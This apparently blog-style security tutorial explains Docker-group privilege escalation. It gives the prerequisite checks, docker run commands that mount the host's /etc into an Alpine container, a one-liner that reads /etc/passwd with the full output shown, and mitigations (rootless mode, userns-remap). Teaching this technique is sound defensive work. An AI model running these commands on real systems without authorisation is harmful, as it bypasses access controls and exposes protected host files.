Docker group privilege escalation
Table of Contents
Summary
If a user belongs to the docker group, this effectively means that you can create a Docker container with a root user. Using this we can create a mount inside the Docker container mapping to the host file-system and read any files as if we were the root user on the host machine.
Prerequisites
- Local shell access to victim machine
- Victim machine running
docker
- Victim machine with a local (none root) user in the
docker
group
We can check that these prerequisites are met with a few simple commands
Check docker
is installed with which
test@victim:~$ which docker
/usr/bin/docker
Check local user is part of the docker
group with id
test@victim:~$ id
uid=1000(test) gid=1004(test) groups=1004(test),4(adm),24(cdrom),27(sudo),30(dip),
46(plugdev),108(lxd),1000(lpadmin),1005(docker)
Privilege escalation
This method of privilege escalation abuses user namespaces in Linux, where the User ID (uid) of a user inside a container is mapped to the User ID (uid) of a user on the host. If a user belongs to the Docker group, this effectively means that you can create a Docker container with a root user on the host machine. Using this we can create a mount inside the Docker container mapping to the host file-system and read any files as if we were the root user.
Steps
We can run the lightweight Docker container alpine
and use a volume
with the -v
flag to mount the host file-system within the Docker container. By passing the -it
flag we can also spawn an interactive terminal within the Docker container.
test@victim:~$ docker run -v /etc:/root -it alpine
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
05e7bc50f07f: Pull complete
Digest: sha256:a126728cb7db157f0deb377bcba3c5e473e612d7bafc27f6bb4e5e083f9f08c2
Status: Downloaded newer image for alpine:latest
This gives us access to the file-system on the host machine as the root
user.
/ # ls -l
total 56
drwxr-xr-x 2 root root 4096 Dec 10 16:30 bin
drwxr-xr-x 5 root root 360 Dec 11 12:26 dev
drwxr-xr-x 1 root root 4096 Dec 11 12:26 etc
drwxr-xr-x 2 root root 4096 Dec 10 16:30 home
drwxr-xr-x 7 root root 4096 Dec 10 16:30 lib
drwxr-xr-x 5 root root 4096 Dec 10 16:30 media
drwxr-xr-x 2 root root 4096 Dec 10 16:30 mnt
drwxr-xr-x 2 root root 4096 Dec 10 16:30 opt
dr-xr-xr-x 274 root root 0 Dec 11 12:26 proc
drwxr-xr-x 100 root root 4096 Dec 11 12:26 root
drwxr-xr-x 2 root root 4096 Dec 10 16:30 run
drwxr-xr-x 2 root root 4096 Dec 10 16:30 sbin
drwxr-xr-x 2 root root 4096 Dec 10 16:30 srv
dr-xr-xr-x 13 root root 0 Nov 26 16:39 sys
drwxrwxrwt 2 root root 4096 Dec 10 16:30 tmp
drwxr-xr-x 7 root root 4096 Dec 10 16:30 usr
drwxr-xr-x 12 root root 4096 Dec 10 16:30 var
We can check the permissions on a file that is only usually readable/modifiable by the root user.
/ # ls -l /root/passwd
-rw-r--r-- 1 root root 1618 Jan 16 2020 /root/passwd
Next let’s see if we can read the /etc/passwd
file, this will be located at /root/passwd
as that’s where we mounted the volume in the first step.
/ # cat /root/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
test:x:1000:1004:test:/home/test:/bin/bash
nginx:x:111:113:nginx user,,,:/nonexistent:/bin/false
One liner
We can shorten this whole process into a one-liner to read the /etc/passwd
file of the host file-system.
test@victim:~$ docker run -v /etc:/root alpine cat /root/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
test:x:1000:1004:test:/home/test:/bin/bash
nginx:x:111:113:nginx user,,,:/nonexistent:/bin/false
Mitigation
To mitigate this technique we can run the Docker daemon as a none root user (rootless mode), rootless mode executes the Docker daemon and containers inside a user namespace, which separates the User IDs (uid) and Group IDs (gid) between the host Operating System and containers. More information can be found on the official Docker website.
This can be combined with running the container without root privileges using userns-remap
which isolates containers with a user namespace, further reading on this can be found on the official Docker website.